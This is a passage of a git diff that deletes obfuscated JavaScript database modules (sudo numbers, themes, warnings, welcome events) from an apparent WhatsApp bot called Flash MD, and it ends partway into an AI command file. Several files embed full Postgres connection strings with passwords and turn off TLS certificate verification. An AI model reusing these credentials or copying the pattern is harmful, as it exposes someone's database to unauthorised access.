_0x2533ee=['DELETE\x20FROM\x20sudo\x20WHERE\x20jid\x20=\x20$1','postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9','DATABASE_URL','21jzuqyf','exports','connect','Numéro\x20de\x20téléphone\x20','SELECT\x20COUNT(*)\x20FROM\x20sudo','log','Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27sudo\x27:','759216UlCguf','2846955zTsIiI','Erreur\x20lors\x20de\x20la\x20suppression\x20du\x20numéro\x20de\x20téléphone\x20autorisé\x20:','Erreur\x20lors\x20de\x20la\x20vérification\x20de\x20la\x20table\x20\x22sudo\x22\x20:','error','rows','dotenv','\x20supprimé\x20de\x20la\x20liste\x20des\x20numéros\x20de\x20téléphone\x20autorisés.','../set','16GgnNEV','INSERT\x20INTO\x20sudo\x20(jid)\x20VALUES\x20($1)','Erreur\x20lors\x20de\x20l\x27ajout\x20du\x20numéro\x20de\x20téléphone\x20autorisé\x20:','SELECT\x20EXISTS\x20(SELECT\x201\x20FROM\x20sudo\x20WHERE\x20jid\x20=\x20$1)','release','19PbemsP','118726MAPAwr','config','jid','45855300Pokylx','exists','4109850nLdnZA','Erreur\x20lors\x20de\x20la\x20récupération\x20des\x20numéros\x20de\x20téléphone\x20autorisés\x20:','3623364FzgerF','La\x20table\x20\x27sudo\x27\x20a\x20été\x20créée\x20avec\x20succès.','5401612OZCfdY','count','query','\x0a\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20sudo\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20id\x20serial\x20PRIMARY\x20KEY,\x0a\x20\x20\x20\x20\x20\x20\x20\x20jid\x20text\x20NOT\x20NULL\x0a\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20','\x20ajouté\x20à\x20la\x20liste\x20des\x20numéros\x20de\x20téléphone\x20autorisés.'];_0x2189=function(){return _0x2533ee;};return _0x2189();}var dbUrl=s[_0x2bae69(0x188)]?s[_0x2bae69(0x188)]:_0x2bae69(0x187);const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig);function _0x2609(_0x46237f,_0x5123d8){const _0x21899c=_0x2189();return _0x2609=function(_0x260984,_0x26665c){_0x260984=_0x260984-0x17e;let _0x391a95=_0x21899c[_0x260984];return _0x391a95;},_0x2609(_0x46237f,_0x5123d8);}async function createSudoTable(){const _0x3906af=_0x2bae69,_0x26b3f9=await pool[_0x3906af(0x18b)]();try{await _0x26b3f9[_0x3906af(0x183)](_0x3906af(0x184)),console['log'](_0x3906af(0x180));}catch(_0xdf58ca){console[_0x3906af(0x194)](_0x3906af(0x18f),_0xdf58ca);}finally{_0x26b3f9[_0x3906af(0x19d)]();}}createSudoTable();async function issudo(_0x47dc26){const _0x4f5778=_0x2bae69,_0x188036=await pool[_0x4f5778(0x18b)]();try{const _0x293e2e=_0x4f5778(0x19c),_0x418680=[_0x47dc26],_0x366877=await _0x188036[_0x4f5778(0x183)](_0x293e2e,_0x418680);return _0x366877[_0x4f5778(0x195)][0x0][_0x4f5778(0x1a3)];}catch(_0x4934c1){return console[_0x4f5778(0x194)]('Erreur\x20lors\x20de\x20la\x20vérification\x20du\x20groupe\x20banni\x20:',_0x4934c1),![];}finally{_0x188036[_0x4f5778(0x19d)]();}}async function removeSudoNumber(_0x2210e3){const _0x5b4f20=_0x2bae69,_0x5f4a11=await pool[_0x5b4f20(0x18b)]();try{const _0x34451a=_0x5b4f20(0x186),_0x3783da=[_0x2210e3];await _0x5f4a11[_0x5b4f20(0x183)](_0x34451a,_0x3783da),console['log']('Numéro\x20de\x20téléphone\x20'+_0x2210e3+_0x5b4f20(0x197));}catch(_0x15e036){console[_0x5b4f20(0x194)](_0x5b4f20(0x192),_0x15e036);}finally{_0x5f4a11['release']();}}async function addSudoNumber(_0x24b3e7){const _0x19e2d8=_0x2bae69,_0x12c03e=await pool[_0x19e2d8(0x18b)]();try{const _0x55de27=_0x19e2d8(0x19a),_0x35f71f=[_0x24b3e7];await _0x12c03e['query'](_0x55de27,_0x35f71f),console[_0x19e2d8(0x18e)](_0x19e2d8(0x18c)+_0x24b3e7+_0x19e2d8(0x185));}catch(_0x47024b){console[_0x19e2d8(0x194)](_0x19e2d8(0x19b),_0x47024b);}finally{_0x12c03e[_0x19e2d8(0x19d)]();}}async function getAllSudoNumbers(){const _0x276c9a=_0x2bae69,_0x4bd27b=await pool[_0x276c9a(0x18b)]();try{const _0x568040='SELECT\x20jid\x20FROM\x20sudo',_0x577848=await _0x4bd27b[_0x276c9a(0x183)](_0x568040),_0x127ad9=_0x577848[_0x276c9a(0x195)]['map'](_0x4e870d=>_0x4e870d[_0x276c9a(0x1a1)]);return _0x127ad9;}catch(_0x4fb070){return console[_0x276c9a(0x194)](_0x276c9a(0x17e),_0x4fb070),[];}finally{_0x4bd27b[_0x276c9a(0x19d)]();}}async function isSudoTableNotEmpty(){const _0x4daa30=_0x2bae69,_0xdf1c51=await pool[_0x4daa30(0x18b)]();try{const _0x18fa68=await _0xdf1c51[_0x4daa30(0x183)](_0x4daa30(0x18d)),_0x242dd7=parseInt(_0x18fa68[_0x4daa30(0x195)][0x0][_0x4daa30(0x182)]);return _0x242dd7>0x0;}catch(_0xdb870e){return console[_0x4daa30(0x194)](_0x4daa30(0x193),_0xdb870e),![];}finally{_0xdf1c51[_0x4daa30(0x19d)]();}};module[_0x2bae69(0x18a)]={'issudo':issudo,'addSudoNumber':addSudoNumber,'removeSudoNumber':removeSudoNumber,'getAllSudoNumbers':getAllSudoNumbers,'isSudoTableNotEmpty':isSudoTableNotEmpty}; \ No newline at end of file diff --git a/bdd/theme.js b/bdd/theme.js deleted file mode 100644 index d2008539..00000000 --- a/bdd/theme.js +++ /dev/null @@ -1 +0,0 @@ -const _0x5684ce=_0x4247;(function(_0x318d73,_0x80a0af){const _0xac0ff7=_0x4247,_0x28b286=_0x318d73();while(!![]){try{const _0x4aedaa=parseInt(_0xac0ff7(0x126))/0x1*(-parseInt(_0xac0ff7(0x119))/0x2)+-parseInt(_0xac0ff7(0x12d))/0x3+-parseInt(_0xac0ff7(0x12e))/0x4+-parseInt(_0xac0ff7(0x115))/0x5*(parseInt(_0xac0ff7(0x118))/0x6)+-parseInt(_0xac0ff7(0x117))/0x7+-parseInt(_0xac0ff7(0x11e))/0x8*(-parseInt(_0xac0ff7(0x112))/0x9)+parseInt(_0xac0ff7(0x124))/0xa;if(_0x4aedaa===_0x80a0af)break;else _0x28b286['push'](_0x28b286['shift']());}catch(_0x2bb194){_0x28b286['push'](_0x28b286['shift']());}}}(_0x43d2,0x6d246),require('dotenv')[_0x5684ce(0x128)]());const {Pool}=require('pg'),s=require('../set');var dbUrl=s[_0x5684ce(0x129)]?s[_0x5684ce(0x129)]:_0x5684ce(0x121);const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}};var proConfig2={'connectionString':_0x5684ce(0x12a),'ssl':{'rejectUnauthorized':![]}};function _0x43d2(){const _0x503741=['Erreur\x20lors\x20de\x20la\x20récupération\x20des\x20informations\x20des\x20thèmes\x20:','rows','3033Xxfhim','log','choix','30aAuhGB','SELECT\x20id,\x20nom,\x20auteur\x20FROM\x20themes\x20ORDER\x20BY\x20id\x20ASC','2240546AGhIRi','635382RFWUqf','2208bcVvme','error','La\x20valeur\x20de\x20\x22choix\x22\x20dans\x20la\x20table\x20\x22theme\x22\x20a\x20été\x20mise\x20à\x20jour\x20avec\x20succès.','connect','Erreur\x20lors\x20de\x20la\x20récupération\x20des\x20informations\x20du\x20thème\x20par\x20ID\x20:','8248YOzpWd','release','\x0a\x20\x20\x20\x20\x20\x20INSERT\x20INTO\x20theme\x20(id,\x20choix)\x20VALUES\x20(1,\x20\x271\x27);\x0a\x20\x20\x20\x20','postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9','SELECT\x20auteur,\x20liens,\x20nom\x20FROM\x20themes\x20WHERE\x20id\x20=\x20$1','Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27theme\x27:','26965830MVNaCi','La\x20table\x20\x22theme\x22\x20a\x20été\x20créée\x20avec\x20succès.','259qdsKSo','query','config','DATABASE_URL','postgres://postgres:BDd2eGfbdbeEf23a2A22ddc*3Bf5FcBg@roundhouse.proxy.rlwy.net:24513/railway','Erreur\x20lors\x20de\x20la\x20récupération\x20du\x20choix\x20de\x20thème\x20:','Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20mise\x20à\x20jour\x20de\x20la\x20valeur\x20de\x20\x27choix\x27:','2464698fiCxDM','2136088Wesiqy','\x0a\x20\x20\x20\x20\x20\x20UPDATE\x20theme\x20\x0a\x20\x20\x20\x20\x20\x20SET\x20choix\x20=\x20$1\x0a\x20\x20\x20\x20\x20\x20WHERE\x20id\x20=\x201;\x20\x20--\x20Cible\x20l\x27entrée\x20ayant\x20l\x27id\x20égal\x20à\x201\x0a\x20\x20\x20\x20','\x0a\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20theme\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20id\x20SERIAL\x20PRIMARY\x20KEY,\x0a\x20\x20\x20\x20\x20\x20\x20\x20choix\x20TEXT\x0a\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20','length'];_0x43d2=function(){return _0x503741;};return _0x43d2();}const pool=new Pool(proConfig),pool2=new Pool(proConfig2);async function createThemeTable(){const _0x52aedb=_0x5684ce,_0x5a63a9=await pool[_0x52aedb(0x11c)]();try{await _0x5a63a9[_0x52aedb(0x127)](_0x52aedb(0x130)),await _0x5a63a9[_0x52aedb(0x127)](_0x52aedb(0x120)),console[_0x52aedb(0x113)](_0x52aedb(0x125));}catch(_0x4058ea){console[_0x52aedb(0x11a)](_0x52aedb(0x123),_0x4058ea);}finally{_0x5a63a9['release']();}}createThemeTable();async function updateThemeValue(_0x4baa99){const _0x10c0b8=_0x5684ce,_0x5e500b=await pool['connect']();try{await _0x5e500b[_0x10c0b8(0x127)](_0x10c0b8(0x12f),[_0x4baa99]),console[_0x10c0b8(0x113)](_0x10c0b8(0x11b));}catch(_0x3f2546){console[_0x10c0b8(0x11a)](_0x10c0b8(0x12c),_0x3f2546);}finally{_0x5e500b[_0x10c0b8(0x11f)]();}}function _0x4247(_0x11988c,_0x68778a){const _0x43d2e7=_0x43d2();return _0x4247=function(_0x424732,_0x2b0f7e){_0x424732=_0x424732-0x10f;let _0x441f04=_0x43d2e7[_0x424732];return _0x441f04;},_0x4247(_0x11988c,_0x68778a);};async function getThemeChoice(){const _0x19fc10=_0x5684ce,_0x5e0f7f=await pool[_0x19fc10(0x11c)]();try{const _0x22de98=await _0x5e0f7f[_0x19fc10(0x127)]('SELECT\x20choix\x20FROM\x20theme\x20WHERE\x20id\x20=\x201');return _0x22de98[_0x19fc10(0x111)][_0x19fc10(0x10f)]>0x0?_0x22de98[_0x19fc10(0x111)][0x0][_0x19fc10(0x114)]:null;}catch(_0x2036c){return console[_0x19fc10(0x11a)](_0x19fc10(0x12b),_0x2036c),null;}finally{_0x5e0f7f[_0x19fc10(0x11f)]();}};async function getThemeInfoById(_0x483e5f){const _0x1f1978=_0x5684ce;try{const _0x5e5cf6=await pool2[_0x1f1978(0x11c)]();}catch(_0x57fb99){console[_0x1f1978(0x113)]('👿👿\x20'+_0x57fb99);}try{const _0x906fdc=_0x1f1978(0x122),_0x212b46=await client[_0x1f1978(0x127)](_0x906fdc,[_0x483e5f]);if(_0x212b46[_0x1f1978(0x111)]['length']>0x0){const {auteur:_0x5cb22b,liens:_0x201d25,nom:_0x471794}=_0x212b46['rows'][0x0];return{'auteur':_0x5cb22b,'liens':_0x201d25,'nom':_0x471794};}else return null;}catch(_0x528028){return console[_0x1f1978(0x11a)](_0x1f1978(0x11d),_0x528028),null;}finally{client[_0x1f1978(0x11f)]();}};async function getAllThemesInfo(){const _0x42b469=_0x5684ce;try{const _0x26c88a=await pool2[_0x42b469(0x11c)](),_0x5dc1da=_0x42b469(0x116),_0x3bfef0=await _0x26c88a[_0x42b469(0x127)](_0x5dc1da);return _0x26c88a[_0x42b469(0x11f)](),_0x3bfef0[_0x42b469(0x111)];}catch(_0x4fec67){return console[_0x42b469(0x11a)](_0x42b469(0x110),_0x4fec67),[];}};module['exports']={'getThemeChoice':getThemeChoice,'getThemeInfoById':getThemeInfoById,'updateThemeValue':updateThemeValue,'getAllThemesInfo':getAllThemesInfo}; \ No newline at end of file diff --git a/bdd/warn.js b/bdd/warn.js deleted file mode 100644 index 1474d46e..00000000 --- a/bdd/warn.js +++ /dev/null @@ -1 +0,0 @@ -const _0x474463=_0x1ada;(function(_0x1d339c,_0x15f038){const _0x19a50b=_0x1ada,_0x23c385=_0x1d339c();while(!![]){try{const _0x5c8e51=parseInt(_0x19a50b(0x105))/0x1*(parseInt(_0x19a50b(0x106))/0x2)+-parseInt(_0x19a50b(0xff))/0x3*(parseInt(_0x19a50b(0x100))/0x4)+-parseInt(_0x19a50b(0xfb))/0x5+-parseInt(_0x19a50b(0xf1))/0x6+parseInt(_0x19a50b(0x103))/0x7+-parseInt(_0x19a50b(0x107))/0x8*(-parseInt(_0x19a50b(0xf5))/0x9)+parseInt(_0x19a50b(0x101))/0xa;if(_0x5c8e51===_0x15f038)break;else _0x23c385['push'](_0x23c385['shift']());}catch(_0x1df1bf){_0x23c385['push'](_0x23c385['shift']());}}}(_0xedee,0xd7f31),require(_0x474463(0xfe))[_0x474463(0xf0)]());const {Pool}=require('pg'),s=require('../set');var dbUrl=s[_0x474463(0xef)]?s[_0x474463(0xef)]:'postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9';const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig);function _0xedee(){const _0x46e61b=['config','7944258JaMmbB','error','warn_count','Utilisateur\x20','9lspQny','\x20a\x20été\x20réinitialisé\x20à\x200.','\x0a\x20\x20\x20\x20\x20\x20\x20\x20INSERT\x20INTO\x20warn_users\x20(jid,\x20warn_count)\x0a\x20\x20\x20\x20\x20\x20\x20\x20VALUES\x20($1,\x201)\x0a\x20\x20\x20\x20\x20\x20\x20\x20ON\x20CONFLICT\x20(jid)\x0a\x20\x20\x20\x20\x20\x20\x20\x20DO\x20UPDATE\x20SET\x20warn_count\x20=\x20warn_users.warn_count\x20+\x201;\x0a\x20\x20\x20\x20\x20\x20','\x20ajouté\x20ou\x20mis\x20à\x20jour\x20avec\x20un\x20warn_count\x20de\x201.','connect','log','3162960JKbXXe','Erreur\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27warn_users\x27:','Le\x20warn_count\x20de\x20l\x27utilisateur\x20','dotenv','481587WcdkZk','4cwjHfZ','9062890RpUpUk','Erreur\x20lors\x20de\x20l\x27ajout\x20ou\x20de\x20la\x20mise\x20à\x20jour\x20de\x20l\x27utilisateur\x20:','389732ZGodPY','release','282277QuIKjK','4KKyOhp','11801392fUcaMK','\x0a\x20\x20\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20warn_users\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20jid\x20text\x20PRIMARY\x20KEY,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20warn_count\x20integer\x20DEFAULT\x200\x0a\x20\x20\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20\x20\x20','query','rows','length','SELECT\x20warn_count\x20FROM\x20warn_users\x20WHERE\x20jid\x20=\x20$1','DATABASE_URL'];_0xedee=function(){return _0x46e61b;};return _0xedee();}async function creerTableWarnUsers(){const _0xd26a24=_0x474463,_0x154ab4=await pool['connect']();try{const _0x72f890=_0xd26a24(0x108);await _0x154ab4[_0xd26a24(0x109)](_0x72f890),console[_0xd26a24(0xfa)]('La\x20table\x20\x27warn_users\x27\x20a\x20été\x20créée\x20avec\x20succès.');}catch(_0x5043f0){console[_0xd26a24(0xf2)](_0xd26a24(0xfc),_0x5043f0);}finally{_0x154ab4[_0xd26a24(0x104)]();}};creerTableWarnUsers();async function ajouterUtilisateurAvecWarnCount(_0x42eede){const _0x3f3cad=_0x474463,_0x29045b=await pool['connect']();try{const _0x28a857=_0x3f3cad(0xf7),_0x3bd43d=[_0x42eede];await _0x29045b[_0x3f3cad(0x109)](_0x28a857,_0x3bd43d),console[_0x3f3cad(0xfa)](_0x3f3cad(0xf4)+_0x42eede+_0x3f3cad(0xf8));}catch(_0x402aae){console[_0x3f3cad(0xf2)](_0x3f3cad(0x102),_0x402aae);}finally{_0x29045b['release']();}};async function getWarnCountByJID(_0x399050){const _0x262d06=_0x474463,_0x1c160b=await pool['connect']();try{const _0x5c236f=_0x262d06(0x10c),_0x484266=[_0x399050],_0x3bcd3b=await _0x1c160b[_0x262d06(0x109)](_0x5c236f,_0x484266);if(_0x3bcd3b['rows'][_0x262d06(0x10b)]>0x0){const _0x56fbc9=_0x3bcd3b[_0x262d06(0x10a)][0x0][_0x262d06(0xf3)];return _0x56fbc9;}else return 0x0;}catch(_0x57ae71){return console[_0x262d06(0xf2)]('Erreur\x20lors\x20de\x20la\x20récupération\x20du\x20warn_count\x20:',_0x57ae71),-0x1;}finally{_0x1c160b[_0x262d06(0x104)]();}};async function resetWarnCountByJID(_0x32b46a){const _0x41b5bc=_0x474463,_0x3116a6=await pool[_0x41b5bc(0xf9)]();try{const _0x5a16db='UPDATE\x20warn_users\x20SET\x20warn_count\x20=\x200\x20WHERE\x20jid\x20=\x20$1',_0x3a79ef=[_0x32b46a];await _0x3116a6['query'](_0x5a16db,_0x3a79ef),console[_0x41b5bc(0xfa)](_0x41b5bc(0xfd)+_0x32b46a+_0x41b5bc(0xf6));}catch(_0x2a0923){console[_0x41b5bc(0xf2)]('Erreur\x20lors\x20de\x20la\x20réinitialisation\x20du\x20warn_count\x20:',_0x2a0923);}finally{_0x3116a6[_0x41b5bc(0x104)]();}}function _0x1ada(_0x5de5f9,_0x4e5020){const _0xedeefc=_0xedee();return _0x1ada=function(_0x1adaea,_0x2c91c1){_0x1adaea=_0x1adaea-0xef;let _0x5f259f=_0xedeefc[_0x1adaea];return _0x5f259f;},_0x1ada(_0x5de5f9,_0x4e5020);}module['exports']={'ajouterUtilisateurAvecWarnCount':ajouterUtilisateurAvecWarnCount,'getWarnCountByJID':getWarnCountByJID,'resetWarnCountByJID':resetWarnCountByJID}; \ No newline at end of file diff --git a/bdd/welcome.js b/bdd/welcome.js deleted file mode 100644 index 86f7d088..00000000 --- a/bdd/welcome.js +++ /dev/null @@ -1 +0,0 @@ -const _0x120baf=_0x2f66;function _0x2f66(_0x3216ee,_0x4d1d97){const _0x2cfc2d=_0x2cfc();return _0x2f66=function(_0x2f66a3,_0x38b998){_0x2f66a3=_0x2f66a3-0x18e;let _0x1c9d76=_0x2cfc2d[_0x2f66a3];return _0x1c9d76;},_0x2f66(_0x3216ee,_0x4d1d97);}(function(_0x215fba,_0x1eafef){const _0x2e8032=_0x2f66,_0x3bf902=_0x215fba();while(!![]){try{const _0x2599ac=parseInt(_0x2e8032(0x1a1))/0x1+-parseInt(_0x2e8032(0x1a4))/0x2*(-parseInt(_0x2e8032(0x1b0))/0x3)+-parseInt(_0x2e8032(0x1a9))/0x4+-parseInt(_0x2e8032(0x1ac))/0x5+parseInt(_0x2e8032(0x190))/0x6+parseInt(_0x2e8032(0x197))/0x7*(-parseInt(_0x2e8032(0x18e))/0x8)+-parseInt(_0x2e8032(0x1af))/0x9*(-parseInt(_0x2e8032(0x19d))/0xa);if(_0x2599ac===_0x1eafef)break;else _0x3bf902['push'](_0x3bf902['shift']());}catch(_0x350ad7){_0x3bf902['push'](_0x3bf902['shift']());}}}(_0x2cfc,0x8d43e),require(_0x120baf(0x192))[_0x120baf(0x1a3)]());function _0x2cfc(){const _0x4f9d94=['error','657iqIwpm','3ZILObI','8HarnKl','query','1851090paUKdR','INSERT\x20INTO\x20events\x20(jid,\x20','dotenv','exports','\x20FROM\x20events\x20WHERE\x20jid\x20=\x20$1','connect','SELECT\x20','3618741OqIZpL','La\x20colonne\x20','SELECT\x20*\x20FROM\x20events\x20WHERE\x20jid\x20=\x20$1',')\x20VALUES\x20($1,\x20$2)','rows','\x20=\x20$1\x20WHERE\x20jid\x20=\x20$2','33590PwOtdH','\x0a\x20\x20\x20\x20\x20\x20CREATE\x20TABLE\x20IF\x20NOT\x20EXISTS\x20events\x20(\x0a\x20\x20\x20\x20\x20\x20\x20\x20Id\x20serial\x20PRIMARY\x20KEY,\x0a\x20\x20\x20\x20\x20\x20\x20\x20jid\x20text\x20UNIQUE,\x0a\x20\x20\x20\x20\x20\x20\x20\x20welcome\x20text\x20DEFAULT\x20\x27non\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20goodbye\x20text\x20DEFAULT\x20\x27non\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20antipromote\x20text\x20DEFAULT\x20\x27non\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20antidemote\x20text\x20DEFAULT\x20\x27non\x27\x0a\x20\x20\x20\x20\x20\x20);\x0a\x20\x20\x20\x20','release','postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9','862723MtZBTK','non','config','1460586VIqKUP','log','length','UPDATE\x20events\x20SET\x20','\x20ajouté\x20avec\x20la\x20colonne\x20','1499144dlMGKL','\x20a\x20été\x20actualisée\x20sur\x20','../set','3381835uOukME','DATABASE_URL'];_0x2cfc=function(){return _0x4f9d94;};return _0x2cfc();}const {Pool}=require('pg'),s=require(_0x120baf(0x1ab));var dbUrl=s[_0x120baf(0x1ad)]?s['DATABASE_URL']:_0x120baf(0x1a0);const proConfig={'connectionString':dbUrl,'ssl':{'rejectUnauthorized':![]}},pool=new Pool(proConfig),creerTableevents=async()=>{const _0x246477=_0x120baf;try{await pool['query'](_0x246477(0x19e)),console['log']('La\x20table\x20\x27events\x27\x20a\x20été\x20créée\x20avec\x20succès.');}catch(_0x4e08c9){console[_0x246477(0x1ae)]('Une\x20erreur\x20est\x20survenue\x20lors\x20de\x20la\x20création\x20de\x20la\x20table\x20\x27events\x27:',_0x4e08c9);}};creerTableevents();async function attribuerUnevaleur(_0x5e0351,_0x892ed6,_0x1e5609){const _0x33e5aa=_0x120baf,_0x44d082=await pool[_0x33e5aa(0x195)]();try{const _0x426160=await _0x44d082[_0x33e5aa(0x18f)](_0x33e5aa(0x199),[_0x5e0351]),_0xbb52a0=_0x426160[_0x33e5aa(0x19b)][_0x33e5aa(0x1a6)]>0x0;_0xbb52a0?(await _0x44d082['query'](_0x33e5aa(0x1a7)+_0x892ed6+_0x33e5aa(0x19c),[_0x1e5609,_0x5e0351]),console[_0x33e5aa(0x1a5)](_0x33e5aa(0x198)+_0x892ed6+_0x33e5aa(0x1aa)+_0x1e5609+'\x20pour\x20le\x20jid\x20'+_0x5e0351)):(await _0x44d082[_0x33e5aa(0x18f)](_0x33e5aa(0x191)+_0x892ed6+_0x33e5aa(0x19a),[_0x5e0351,_0x1e5609]),console[_0x33e5aa(0x1a5)]('Nouveau\x20jid\x20'+_0x5e0351+_0x33e5aa(0x1a8)+_0x892ed6+'\x20ayant\x20la\x20valeur\x20'+_0x1e5609));}catch(_0x2442f4){console[_0x33e5aa(0x1ae)]('Erreur\x20lors\x20de\x20l\x27actualisation\x20de\x20events\x20:',_0x2442f4);}finally{_0x44d082[_0x33e5aa(0x19f)]();}};async function recupevents(_0x595913,_0x3c464c){const _0x3569c5=_0x120baf,_0x1c4ac1=await pool['connect']();try{const _0x4ce617=await _0x1c4ac1[_0x3569c5(0x18f)](_0x3569c5(0x196)+_0x3c464c+_0x3569c5(0x194),[_0x595913]),_0x48f8f1=_0x4ce617[_0x3569c5(0x19b)]['length']>0x0;return _0x48f8f1?_0x4ce617[_0x3569c5(0x19b)][0x0][_0x3c464c]:_0x3569c5(0x1a2);}catch(_0x243360){console[_0x3569c5(0x1ae)](_0x243360);}finally{_0x1c4ac1[_0x3569c5(0x19f)]();}}module[_0x120baf(0x193)]={'attribuerUnevaleur':attribuerUnevaleur,'recupevents':recupevents}; \ No newline at end of file diff --git a/commands/A.I.js b/commands/A.I.js deleted file mode 100644 index 1f0f6b4c..00000000 --- a/commands/A.I.js +++ /dev/null @@ -1,25 +0,0 @@ - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - - - -function _0x202d(){const _0x2751b8=['\x20the\x20image','2427498sXfXLr','red\x20while\x20','essary\x20inf','Oops,\x20an\x20e','join','Une\x20erreur','Please\x20ent','went\x20wrong','calculatio','\x20an\x20Ai\x20dev','dalle','2983570czGitz','*powered\x20b','rror\x20occur','352594xdgcFM','sendMessag','ai/mathsso','227142FiBkdL','ert\x20maths\x20','log','lve?q=','\x20today?.','g\x20to\x20you._','ion','g.\x0a\x0a\x20What\x20','o\x20generate','1455055Oopsdw','something\x20','France\x20Kin','cnt','YEES!\x0a\x20_I\x27','bair.tech/','est','Please\x20ins','rk/france','d=181821&k','Hello\x20am\x20*','gemini','flash','...','help\x20can\x20I','../framewo','e\x20\x22(/)\x22\x20fo','duite','result','m\x20listenin','Erreur:','\x20and\x20\x22(*)\x22','\x20s\x27est\x20pro','Please\x20ask','processing','60794jWaBhS','4ekKcmy','77PVIFyM','error','completion','length','ai/chatgpt','i.maher-zu','0000+2024.','3?q=','rk/traduct','or\x20letter\x20','gpt','axios','8nwcdrv','calc','477306gGqzPS','\x20offer\x20you','https://ap','json'];_0x202d=function(){return _0x2751b8;};return _0x202d();}const _0xd48ed1=_0xff82;(function(_0x2ba153,_0x46b7f5){const _0x315855=_0xff82,_0x5a5937=_0x2ba153();while(!![]){try{const _0x3d51a6=-parseInt(_0x315855(0xe7))/0x1+parseInt(_0x315855(0xc4))/0x2+parseInt(_0x315855(0xd4))/0x3+-parseInt(_0x315855(0xc5))/0x4*(-parseInt(_0x315855(0xf3))/0x5)+parseInt(_0x315855(0xea))/0x6*(-parseInt(_0x315855(0xc6))/0x7)+-parseInt(_0x315855(0xd2))/0x8*(-parseInt(_0x315855(0xd9))/0x9)+parseInt(_0x315855(0xe4))/0xa;if(_0x3d51a6===_0x46b7f5)break;else _0x5a5937['push'](_0x5a5937['shift']());}catch(_0x34efdc){_0x5a5937['push'](_0x5a5937['shift']());}}}(_0x202d,0x44410));const {france}=require(_0xd48ed1(0xba)+_0xd48ed1(0xfb)),traduire=require('../framewo'+_0xd48ed1(0xce)+_0xd48ed1(0xf0)),{default:axios}=require(_0xd48ed1(0xd1));function _0xff82(_0x26051c,_0x44182b){const _0x202d7c=_0x202d();return _0xff82=function(_0xff822e,_0x41d7a4){_0xff822e=_0xff822e-0xb7;let _0x127dcd=_0x202d7c[_0xff822e];return _0x127dcd;},_0xff82(_0x26051c,_0x44182b);}france({'nomCom':_0xd48ed1(0xb7),'reaction':'📡','categorie':'IA'},async(_0x4c29c0,_0x4e7f01,_0x5e6ef0)=>{const _0x41850f=_0xd48ed1,{repondre:_0x5aa4bf,ms:_0x28c1a2,arg:_0x7cf9e3}=_0x5e6ef0;if(!_0x7cf9e3||!_0x7cf9e3[0x0])return _0x5aa4bf(_0x41850f(0xf7)+_0x41850f(0xbe)+_0x41850f(0xef));try{const _0x4453b8=_0x7cf9e3[_0x41850f(0xdd)]('\x20'),_0x273cbd=await 